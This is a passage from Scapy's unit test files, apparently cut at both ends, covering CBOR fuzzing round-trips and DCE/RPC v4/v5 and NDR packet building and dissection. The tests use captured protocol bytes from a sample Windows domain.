RandCBORObject(objlist=[CBOR_MAP]) obj = rand._fix() encoded = bytes(obj) decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_MAP) and remainder == b'' + CBOR Fuzzing Stress Tests = Generate 100 random objects without errors from scapy.cbor import RandCBORObject rand = RandCBORObject() objects = [] for _ in range(100): obj = None try: obj = rand._fix() except: pass if obj is not None: objects.append(obj) len(objects) >= 95 = Encode 50 random objects without errors from scapy.cbor import RandCBORObject rand = RandCBORObject() encoded_count = 0 for _ in range(50): obj = rand._fix() try: encoded = bytes(obj) if len(encoded) > 0: encoded_count += 1 except: pass encoded_count >= 45 = Roundtrip 50 random objects from scapy.cbor import RandCBORObject, CBOR_Codecs rand = RandCBORObject() roundtrip_count = 0 for _ in range(50): obj = rand._fix() try: encoded = bytes(obj) decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) if remainder == b'': roundtrip_count += 1 except: pass roundtrip_count >= 45 ================================================ FILE: test/scapy/layers/dcerpc.uts ================================================ % DCE/RPC layer test campaign + Syntax check = Import the DCE/RPC layer import re from scapy.layers.dcerpc import * from uuid import UUID old_debug_dissector = conf.debug_dissector conf.debug_dissector = 2 True + Check EField = Little Endian IntField getfield f = EField(IntField('f', 0), '<') f.getfield(None, hex_bytes('0102030405')) == (b'\x05', 0x04030201) = Little Endian IntField addfield f = EField(IntField('f', 0), '<') f.addfield(None, b'\x01', 0x05040302) == hex_bytes('0102030405') = Big Endian IntField getfield f = EField(IntField('f', 0), '>') f.getfield(None, hex_bytes('0102030405')) == (b'\x05', 0x01020304) = Big Endian IntField addfield f = EField(IntField('f', 0), '>') f.addfield(None, b'\x01', 0x02030405) == hex_bytes('0102030405') = Little Endian StrField getfield f = EField(StrField('f', 0), '<') f.getfield(None, '0102030405') == (b'', '0102030405') = Little Endian StrField addfield f = EField(StrField('f', 0), '<') f.addfield(None, b'01', '02030405') == b'0102030405' = Big Endian StrField getfield f = EField(StrField('f', 0), '>') f.getfield(None, '0102030405') == (b'', '0102030405') = Big Endian StrField addfield f = EField(StrField('f', 0), '>') f.addfield(None, b'01', '02030405') == b'0102030405' = Little Endian UUIDField getfield * The endianness of a UUIDField should be apply by block on each block in * parenthesis '(01234567)-(89ab)-(cdef)-(01)(23)-(45)(67)(89)(ab)(cd)(ef)' f = EField(UUIDField('f', None), '<') f.getfield(None, hex_bytes('0123456789abcdef0123456789abcdef')) == (b'', UUID('67452301-ab89-efcd-0123-456789abcdef')) = Little Endian UUIDField addfield f = EField(UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef'), '<') f.addfield(None, b'', f.default) == hex_bytes('67452301ab89efcd0123456789abcdef') = Big Endian UUIDField getfield f = EField(UUIDField('f', None), '>') f.getfield(None, hex_bytes('0123456789abcdef0123456789abcdef')) == (b'', UUID('01234567-89ab-cdef-0123456789abcdef')) = Big Endian UUIDField addfield f = EField(UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef'), '>') f.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef') + DCE/RPC v5 = Dissect DCE/RPC v5 Request with Kerberos GSSAPI/RFC1964 pkt = DceRpc(b"\x05\x00\x00\x03\x10\x00\x00\x00\xcd\x00-\x00\x01\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00j\x87\xb4\xa8DrE3\xfa\xc1\x1d\x9e\xb7\x8a_\xffr\xbe\x13\xc4<\x85\xf0\xf2'y\x84t%u|e\xef/\x04\xb0m\x98\xb1\xd2\x00KwW#P\x8f2\xecB\x81\x19\xf3g\xd2o[\x07L-\xb8\x89\x05\xcf?\xcf\t\xeb\xb3&&6\xb7\x84\xb6\xcd8Ao\x8c\x94\xca\x03\xe3\x0e\x86'-\xfaHj\xcez\xf0A\x83\x9dX\r\xe8\x96\x07Bs\xaf\x9c[=2\x9eS\xb1\x18\x84 \xb4y\n9\xdf\x92\x1c\xd8\xe2e\xd3^,\t\x06\x08\x00pj\x8f\x04`+\x06\t*\x86H\x86\xf7\x12\x01\x02\x02\x02\x01\x11\x00\x10\x00\xff\xffp\xc0\\m\xfe\xa4\xe1!\xf7\xdf\xbf\xa4\xad\xdf\xcb\x16\x1e\xb5+{\x97\xaf\xd5~") assert pkt.auth_verifier.auth_type == 9 pkt.show() assert pkt.auth_verifier.auth_value.MechType.oidname == 'Kerberos 5' assert isinstance(pkt.auth_verifier.auth_value.innerToken, KRB_InnerToken) assert DceRpc5Request in pkt assert pkt[DceRpc5Request].alloc_hint == 120 assert pkt[DceRpc5Request].opnum == 0 = Dissect DCE/RPC v5 Request EPM map request pkt = Ether(b'\x00\x0c)\xe1\xde{\x00\x0c)\x05\xe0\xd9\x08\x00E\x00\x00\xc4"\x92@\x00\x80\x06\xb3\x86\n\x01\x0f\x19\n\x01\x01\x01\x05=\x00\x87\x1e\x1b\x8f\x12\x02\x8ee\x19P\x18\xff\xb7 ^\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00\x9c\x00\x00\x00\x01\x00\x00\x00\x84\x00\x00\x00\x00\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\x00\x87\x01\x00\t\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00') assert pkt.auth_verifier is None assert pkt[DceRpc5Request].alloc_hint == 132 assert pkt[DceRpc5Request].opnum == 3 = Dissect DCE/RPC v5 Bind request with NETLOGON secure channel pkt = DceRpc(b'\x05\x00\x0b\x07\x10\x00\x00\x00\xe4\x00(\x00\x02\x00\x00\x00\xd0\x16\xd0\x16\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x01\x00xV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00\x01\x00\x01\x00xV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x00\x003\x05qq\xba\xbe7I\x83\x19\xb5\xdb\xef\x9c\xcc6\x01\x00\x00\x00\x02\x00\x01\x00xV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x00\x00,\x1c\xb7l\x12\x98@E\x03\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00D\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00DOMAIN\x00WIN1\x00\x06domain\x05local\x00\x04WIN1\x00') assert pkt.auth_verifier.auth_value.NetbiosDomainName == b"DOMAIN" assert pkt.auth_verifier.auth_value.DnsDomainName == b"domain.local." assert pkt.n_context_elem == 3 assert pkt[DceRpc5Bind].context_elem[0].transfer_syntaxes[0].sprintf("%if_uuid%") == 'NDR 2.0' assert pkt[DceRpc5Bind].context_elem[1].transfer_syntaxes[0].sprintf("%if_uuid%") == 'NDR64' assert pkt[DceRpc5Bind].context_elem[2].transfer_syntaxes[0].sprintf("%if_uuid%") == 'Bind Time Feature Negotiation' = Dissect DCE/RPC v5 Bind Response with NETLOGON secure channel pkt = DceRpc(b'\x05\x00\x0c\x07\x10\x00\x00\x00\x80\x00\x0c\x00\x02\x00\x00\x00\xd0\x16\xd0\x16=F\x00\x00\x06\x0049676\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x05qq\xba\xbe7I\x83\x19\xb5\xdb\xef\x9c\xcc6\x01\x00\x00\x00\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\x06\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert pkt[DceRpc5BindAck].sec_addr.port_spec == b'49676\x00' assert pkt[DceRpc5BindAck].results[1].result == 0 assert pkt[DceRpc5BindAck].results[1].transfer_syntax.sprintf("%if_uuid%") == 'NDR64' = Dissect DCE/RPC v5 Response with NETLOGON secure channel pkt = DceRpc(b'\x05\x00\x02\x03\x10\x00\x00\x00\x98\x038\x00\x02\x00\x00\x004\x03\x00\x00\x01\x00\x00\x00\x88\xd6k\xac\xab^\xafqA^\xee\x8e\xce\x16\x86i\xe5A\xafK#\xeb%\'l\x88\xd4A\x0f\xa6>\xaf\xed\xf65\xf0\xf9\xf25\x89\xf5\xc5r\xe6;t\xf5\x80 \x80~\xf6\x0cRQ\x0b\xea\xc2}\x8a>\x08\xc9\x04\x9c\xdcOj\xa3\x0c\x82~\xfe\xa6\xa3\x01^ \xee\xd3\xd2yf\xfa\xfbL\xec&\x8b60\xb9\x83j\x84\xa0\xbc*G\xe25\x1a\r\xf3\xc8\xa6ib9\x87\xcbt%\x17\xf8g\x17\x1cIR\xd5\'wW\xbedZbXv\xb7\xe5?#$(\xae\x06\x9e\xce\xe1K\xd9\'\x9fG\xde\xff\xc9j\xd7\xa4\x04\xcb]-\xbcr\xb9+\xdax\xee\xa3\xce\x9c\x15\x0c/\xb2\xcb\xaaF\t\x07/AQM\x18t\xdc\xea\x019\x11TOy\xf7\x7f\xd1\x87\xc7m\xea>\x84Y\xc3\xef\xd0\xa6e\xb0g\xc3\x12\xd9\xc4~$\xb8\xfc/0\x86\x0e0\x8c`5lU\xd1\xbf8\xd2\xcb\xb1%\xfa\xfabr\x10\x9a\xf8\xb7\xb1\x01$wU\x17r\x03Z\xdc\xdd^\xecU\xc1\xf1\x87\xad\xa1\xea\xd8\xf2\x82\xa8\x95\xd4\xd2\xc6\x8e\xf1\xcfN1k\xdc\xc3\xf7o]q\'a\xa3Y\r97\xfe.8O\xf9\xa7\x93\xd3\x99?K\x8bv.\xac=t\r\xba\xca\xd0\x82\xd8\x81\xaf\xe6cv\xbe\xcbN\x93\x9d\x0e\xd4\x119d\x83/u\xc8\xb2\x1c/q\xf0"\xc4\x04\xadB\xe3N\xed\xbbR\xc4yO\x1fQ\xdd}\xd2\xe3c\x1e\xec\xc7\xc4\xf8\xf6OV\xe5\x00*\xb0\t\xbd\xf0\xe5j\xbf\xa3\xe0\x85\xa0\x81\xc6\xb96\xb9\xec\xd7I\x16_\xe7K\xb2D\xad\xb5\x7fG\xb9\x9by\xe2\xd9\xcf\xe7J\x83Y-\xa7:\xa3\x16\xe7\xce\xf9\xf5\xeb\x88z&Je\xcb\x94\'\xdc?\xbf\xed!\x1a\xb3sI\xb5o\x00\x8dJ\xd9\xed\x160+\x11nD\xd0QIo]A\xc0\x89\xa8\xb2\xc9\xb6\xc7,\xf0V\x8a\xae\xa6\x97\x8e\x91tO\x8c\x94\x08\xf1ru\x87e\x0bq6\x8aZ\xb9\xf3\xb7\xbb\xaf;\x89\xdf\x8b\xbf\tA\xef\xe3\x07\x0fT\xed\xbb\x072\x8eQ\xf4\xce\x194A\\w\xb4\x88\xff[\xcf\x91N\x1b\xfb\xe3\xcb~\xe9\xfc\x195\x0f&96\x05\x9a\xe4\xc0~\xd9\x0b\xfd\xbc\xc9\x8fTXY\x9f\xe4\x87e!\x93$$\x0b\xfc\xe7Jm8\x18\xb5\xad\xff\x85\xc3\xe2%\xd5{\x8bs\xa7\xb0\x1e\x0ei\xfc\xc2\x9d\x95\xd4\x83\xba"\x80\xee7^\xda\x02\x8b\x01\'\xe5e\x18\xa9}i\xbe\x86\xf4\x93\x9c\xe6\xe5\xf3\xd2\xa8\x8dH\\\x14\x89+yc\xa7kZ\x80\xe0\xb1\xc3\xd1\xa5\x8a9\xd9\xe7\x8d\xfd\x90\x04B\xce0\xeaK\xa1\xbc\xc1*\x8a\xfd*oX\xa0\x8b\x04D\xbc\x87\xacH\x97\x89\x85\xb2b\xf4F\xa2\xf1m\x06\xfe\x01\xd2\xcbT\x01+\x89<\x05q0ibL\x99[C\xeb\xcfx#i4\x8b\xbb\xb5ZP\x12?\x8b\xa5\x0e\x91"@aJ\t\t\x86\xa5*\t\xbf\x01Q\xa5\x85y\xad\xc0\xa7\xb2l5R\xd4\x85\xf4\xab\n\t\rJb\xf2\x875\xfcL\x16\xb0e\x17\xe1\xdc<\xd1\xee\x86\x01\xefHD\x1eb\xd1\xd1\xbby\xd41\xb7#\xef$DN\xda)\x8f\xb9\xffEa\xfe\xd8C\xb9\xff}\x85ra\xca\xec\xe1\xf6\x99\t\xa1\xc9H\x97\xd7\xc2\xa7\xbbW_\x1a\x92\xed\xb7\xde\xba*\r\x1e%h\xbdu)/\xd8m\xc0\xa9\xfb\xa1\xb5\xa3\xc3\x81\x18\xcd6\xd8t\x06\xa7\xd8\x84\xf5\x80\xb3\xaaX&\x8a\x7fPZ\x04\xcbsn.,b\xdfW\xd0\x7f\xc5\xc90 \x95S\x13*42R\x16fY\xeb\xd2\x05\xbd\x18Wm\xc0\xa1\x9dpYk\xaa\xd9\xd9+\x030\x9a\xe4IMlbfL\x81\xef[H]\xc6:\x88\x9cjE\x11\xce%\xd6\xe2<\x7f\xaaDO\x06\xaf\x13g&FX\x05\x90\xefl\x14\x12P;\xdc\xe7N\x0fU1C\xd1u#\xca\xf9\x12\xe6\xf7\x1bT\x17z\x97\xf2\xf5GH\xe3e\xbe\xe0\xeb?\xc2u\x9e#\x1c\xed\xcf7\x04c\x14\x90\xfc\x07\x1b\xedX\x1a\xd4\xbf\x96T\xee\xe7\x01^@\xcfSG\xd5\x899\x01\xf9\xc3\xf3(\xc2?^\xcd[,\xd85*\xdd\xab\xb6t\xc7p\xc4\xd3\x95\x9d\x02 \x9a^\x81\xb1.y\x9d\xc8\xe7\xb46\xfc\xc7,\x9fI\x03\\R\x83Y3+\xa7\x1f\x00\xd0\x16J\x10\x9a\xc5\'9)\xab\x93\x05\xd7\xb6\x12\xde \r\xc5b\x8bKo36\xfej\xa7\t\xd1{}a\x7f\xa4\xc3\xdc\xaaA\xe5\xe3\x91Uzw\xb2w\xee^\xcd\xd0i\xb7\xc0\xff`D\x06\x04\x00\x00\x00\x00\x00\x13\x00\x1a\x00\xff\xff\x00\x00\xb6\xb0D"\x11h\x92_\xe2 +\x06b%\x7f\xf5\x87O\x00\x08\x81\ro\xcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert pkt.auth_verifier.auth_pad_length == 4 pkt.auth_verifier.auth_pad_length = None pkt.auth_padding = None pkt = DceRpc(bytes(pkt)) assert pkt.auth_verifier.auth_pad_length == 4 = Build and dissect DCE/RPC with vt_trailer pkt = DceRpc(b'\x05\x00\x00\x83\x10\x00\x00\x00\x80\x00\x10\x00\x02\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00t\xc0\xd8\xcc\xe5\xd0@J\x92\xb4\xd0t\xfa\xa6\xba(\x8a\xe3\x13q\x02\xf46q\x01\x00\x04\x00\x01\x00\x00\x00\x02@(\x00t\xc0\xd8\xcc\xe5\xd0@J\x92\xb4\xd0t\xfa\xa6\xba(\x01\x00\x01\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00\x00\x00\x00\x00\n\x05\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\xbe\x1a\xfd*\x9c\xd3R \x00\x00\x00\x00') assert pkt.auth_padding == b"\x00\x00\x00\x00" assert len(pkt.vt_trailer.commands) == 2 assert pkt.vt_trailer.commands[0].sprintf("%Command%") == "SEC_VT_COMMAND_BITMASK_1" assert pkt.vt_trailer.commands[0].bits == 1 assert pkt.vt_trailer.commands[1].sprintf("%Command%") == "SEC_VT_COMMAND_PCONTEXT" assert pkt.vt_trailer.commands[1].InterfaceId == pkt[DceRpc5Request].object assert pkt.vt_trailer.commands[1].Version == 0x10001 assert DCE_RPC_TRANSFER_SYNTAXES[pkt.vt_trailer.commands[1].TransferSyntax] == "NDR 2.0" assert pkt.vt_trailer.commands[1].TransferVersion == 2 pkt.auth_padding = None pkt.auth_verifier.auth_pad_length = None pkt = DceRpc(bytes(pkt)) assert pkt.auth_padding == b"\x00\x00\x00\x00" assert pkt.auth_verifier.auth_pad_length == 4 assert pkt.vt_trailer.commands[1].TransferVersion == 2 = Dissect DCE/RPC containing two fragments: Auth3 and a Request pkt = DceRpc(b'\x05\x00\x10\x07\x10\x00\x00\x00\xe2\x01\xc6\x01\x02\x00\x00\x00\xd0\x16\xd0\x16\n\x05\x00\x00\x00\x00\x00\x00NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00z\x00\x00\x00$\x01$\x01\x92\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x0c\x00\x0c\x00d\x00\x00\x00\n\x00\n\x00p\x00\x00\x00\x10\x00\x10\x00\xb6\x01\x00\x00\x15\x82\x88\xe2\n\x00aJ\x00\x00\x00\x0f\x857\xcfG\xcc\x98\x029\x01\n\xedc\x18\xea\xec\xc3D\x00O\x00M\x00A\x00I\x00N\x00W\x00I\x00N\x001\x000\x00$\x00W\x00I\x00N\x001\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\xa4\x829p_\xa8\xdc\x15+7+\xb4\x8d\x97~\x01\x01\x00\x00\x00\x00\x00\x00\xe0\x91\xd8\xa5\x91\x82\xd9\x01\xb8/\xcf\xac\t\x1c$\xb3\x00\x00\x00\x00\x02\x00\x0c\x00D\x00O\x00M\x00A\x00I\x00N\x00\x01\x00\n\x00W\x00I\x00N\x001\x000\x00\x04\x00\x18\x00d\x00o\x00m\x00a\x00i\x00n\x00.\x00l\x00o\x00c\x00a\x00l\x00\x03\x00$\x00W\x00I\x00N\x001\x000\x00.\x00d\x00o\x00m\x00a\x00i\x00n\x00.\x00l\x00o\x00c\x00a\x00l\x00\x05\x00\x18\x00d\x00o\x00m\x00a\x00i\x00n\x00.\x00l\x00o\x00c\x00a\x00l\x00\x07\x00\x08\x00\xe0\x91\xd8\xa5\x91\x82\xd9\x01\x06\x00\x04\x00\x06\x00\x00\x00\x08\x000\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00Z3!\xf8xx\x02\xa0\xcc\xcb\xa0\xbb|\xa5\x0c\xd3\x93Ib_\x8f\xa6j\xe1\x82\xd3\xec?\xaa\xae\x0e\x8a\n\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x12\x00C\x00I\x00F\x00S\x00/\x00t\x00r\x00u\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00!\xdc\xa8\xa5\x96\xd0k7\xdd\x84\xdb\x029\x1e+\x97\x05\x00\x00\x83\x10\x00\x00\x00\x80\x00\x10\x00\x02\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00t\xc0\xd8\xcc\xe5\xd0@J\x92\xb4\xd0t\xfa\xa6\xba(\x8a\xe3\x13q\x02\xf46q\x01\x00\x04\x00\x01\x00\x00\x00\x02@(\x00t\xc0\xd8\xcc\xe5\xd0@J\x92\xb4\xd0t\xfa\xa6\xba(\x01\x00\x01\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00\x00\x00\x00\x00\n\x05\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00/L\xb5\\\xfc\x83\xecF\x00\x00\x00\x00') assert DceRpc5Auth3 in pkt assert pkt.pad == b'\xd0\x16\xd0\x16' assert pkt.auth_verifier.auth_value.UserName == "WIN10$" assert pkt.auth_verifier.auth_value.NtChallengeResponse.getAv(9).Value == 'CIFS/truc' pkt2 = DceRpc(pkt[conf.padding_layer].load) assert DceRpc5Request in pkt2 assert conf.padding_layer not in pkt2 assert pkt2.vt_trailer.commands[1].InterfaceId == pkt2.object + Check DCE/RPC 4 layer = DCE/RPC 4 default values assert bytes(DceRpc4()) == b'\x04\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00' = DCE/RPC 4: payload length computation assert bytes(DceRpc4() / b'\x00\x01\x02\x03') == b'\x04\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x01\x02\x03' = DCE/RPC 4: Guess payload class fallback with no possible payload p = DceRpc(hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000000010203')) p.payload.__class__ == conf.raw_layer = DCE/RPC 4: Guess payload class to a registered heuristic payload * A payload to be valid must implement the method can_handle and be registered to DceRpcPayload from scapy.layers.dcerpc import *; import binascii, re class DummyPayload(Packet): fields_desc = [StrField('load', '')] @classmethod def can_handle(cls, pkt, dce): if pkt[0] in [b'\x01', 1]: # support for py3 bytearray return True else: return False DceRpc4Payload.register_possible_payload(DummyPayload) p = DceRpc(hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000001020304')) p.payload.__class__ == DummyPayload = DCE/RPC 4: Guess payload class fallback with possible payload classes p = DceRpc(hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000000010203')) p.payload.__class__ == conf.raw_layer = DCE/RPC 4: little-endian build bytes(DceRpc4(ptype='response', endian='little', opnum=3) / b'\x00\x01\x02\x03') == hex_bytes('04020000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000300ffffffff04000000000000010203') = DCE/RPC 4: little-endian dissection p = DceRpc(hex_bytes('04020000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000300ffffffff04000000000000010203')) p.ptype == 2 and p.opnum == 3 and p.len == 4 + NDR tests = DCE/RPC 5 NDR: Create NDR Packet # from [MS-SRVS] class LPSHARE_INFO_1(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRFullPointerField( NDRConfVarStrNullFieldUtf16("shi1_netname", ""), ), NDRIntField("shi1_type", 0), NDRFullPointerField( NDRConfVarStrNullFieldUtf16("shi1_remark", ""), ), ] = DCE/RPC 5 NDR: Check user friendliness pkt = LPSHARE_INFO_1(shi1_netname="ADMIN1$", ndr64=True) val = pkt.fields['shi1_netname'] assert isinstance(val, NDRPointer) assert isinstance(val.value, NDRConformantArray) assert isinstance(val.value.value[0], NDRVaryingArray) assert val.value.value[0].value == b"ADMIN1$" assert pkt.valueof("shi1_netname") == b"ADMIN1$" = DCE/RPC 5 NDR: Try building it assert bytes(pkt) == b'\x00\x00\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00A\x00D\x00M\x00I\x00N\x001\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DCE/RPC 5 NDR: Re-dissect z = LPSHARE_INFO_1(bytes(pkt), ndr64=True) val = z.fields['shi1_netname'] assert val.value.max_count == 8 assert val.value.value[0].actual_count == 8 assert val.value.value[0].value == b"ADMIN1$" assert z.valueof("shi1_netname") == b"ADMIN1$" = DCE/RPC 5 NDR: Same thing with NDR32 pkt = LPSHARE_INFO_1(shi1_netname="ADMIN1$", ndr64=False) assert bytes(pkt) == b'\x00\x00\x02\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00A\x00D\x00M\x00I\x00N\x001\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' z = LPSHARE_INFO_1(bytes(pkt), ndr64=False) val = z.fields['shi1_netname'] assert val.value.max_count == 8 assert val.value.value[0].actual_count == 8 assert val.value.value[0].value == b"ADMIN1$" assert z.valueof("shi1_netname") == b"ADMIN1$" + Real tests on complex packets = DCE/RPC 5 NDR: Define structs # From [MS-WKST] class LPWKSTA_USER_INFO_0(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRFullEmbPointerField( NDRConfVarStrNullFieldUtf16("wkui0_username", "") ) ] class LPWKSTA_USER_INFO_0_CONTAINER(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("EntriesRead", 0), NDRFullEmbPointerField( NDRConfPacketListField( "Buffer", [LPWKSTA_USER_INFO_0()], LPWKSTA_USER_INFO_0, count_from=lambda pkt: pkt.EntriesRead, ), ), ] class LPWKSTA_USER_INFO_1(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRFullEmbPointerField( NDRConfVarStrNullFieldUtf16("wkui1_username", "") ), NDRFullEmbPointerField( NDRConfVarStrNullFieldUtf16("wkui1_logon_domain", "") ), NDRFullEmbPointerField( NDRConfVarStrNullFieldUtf16("wkui1_oth_domains", "") ), NDRFullEmbPointerField( NDRConfVarStrNullFieldUtf16("wkui1_logon_server", "") ), ] class LPWKSTA_USER_INFO_1_CONTAINER(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("EntriesRead", 0), NDRFullEmbPointerField( NDRConfPacketListField( "Buffer", [LPWKSTA_USER_INFO_1()], LPWKSTA_USER_INFO_1, count_from=lambda pkt: pkt.EntriesRead, ) ), ] class LPWKSTA_USER_ENUM_STRUCT(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("Level", 0), NDRUnionField( [ ( NDRFullEmbPointerField( NDRPacketField( "WkstaUserInfo", LPWKSTA_USER_INFO_0_CONTAINER(), LPWKSTA_USER_INFO_0_CONTAINER, ), ), ( (lambda pkt: getattr(pkt, "Level", None) == 0), (lambda _, val: val.tag == 0), ), ), ( NDRFullEmbPointerField( NDRPacketField( "WkstaUserInfo", LPWKSTA_USER_INFO_1_CONTAINER(), LPWKSTA_USER_INFO_1_CONTAINER, ), ), ( (lambda pkt: getattr(pkt, "Level", None) == 1), (lambda _, val: val.tag == 1), ), ), ], StrFixedLenField("WkstaUserInfo", "", length=0), align=(4, 8), switch_fmt=("L", "L"), ), ] class NetrWkstaUserEnum_Request(NDRPacket): fields_desc = [ NDRFullPointerField(NDRConfVarStrNullFieldUtf16("ServerName", "")), NDRPacketField( "UserInfo", LPWKSTA_USER_ENUM_STRUCT(), LPWKSTA_USER_ENUM_STRUCT ), NDRIntField("PreferredMaximumLength", 0), NDRFullPointerField(NDRIntField("ResumeHandle", 0)), ] class NetrWkstaUserEnum_Response(NDRPacket): fields_desc = [ NDRPacketField( "UserInfo", LPWKSTA_USER_ENUM_STRUCT(), LPWKSTA_USER_ENUM_STRUCT ), NDRIntField("TotalEntries", 0), NDRFullPointerField(NDRIntField("ResumeHandle", 0)), NDRIntField("status", 0), ] = DCE/RPC 5 NDR: Build test pkt = NetrWkstaUserEnum_Request( ServerName="test", UserInfo=LPWKSTA_USER_ENUM_STRUCT( WkstaUserInfo=NDRUnion( tag=0, value=LPWKSTA_USER_INFO_0_CONTAINER( EntriesRead=1, Buffer=[ LPWKSTA_USER_INFO_0(wkui0_username="test") ] ) ) ), ndr64=True ) print(repr(bytes(pkt))) assert bytes(pkt) == b'\x00\x00\x02\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00t\x00e\x00s\x00t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00t\x00e\x00s\x00t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DCE/RPC 5 NDR: Dissect test pkt = NetrWkstaUserEnum_Request(bytes(pkt), ndr64=True) pkt.ServerName assert pkt.ServerName.value.value[0].value == b"test" assert pkt.UserInfo.WkstaUserInfo.value.value.Buffer.value.value[0].wkui0_username.value.value[0].value == b"test" assert pkt.PreferredMaximumLength == 0 assert pkt.ResumeHandle is None = DCE/RPC 5 NDR: Dissect packet with NDRVarStrLenField from scapy.layers.msrpce.raw.ept import 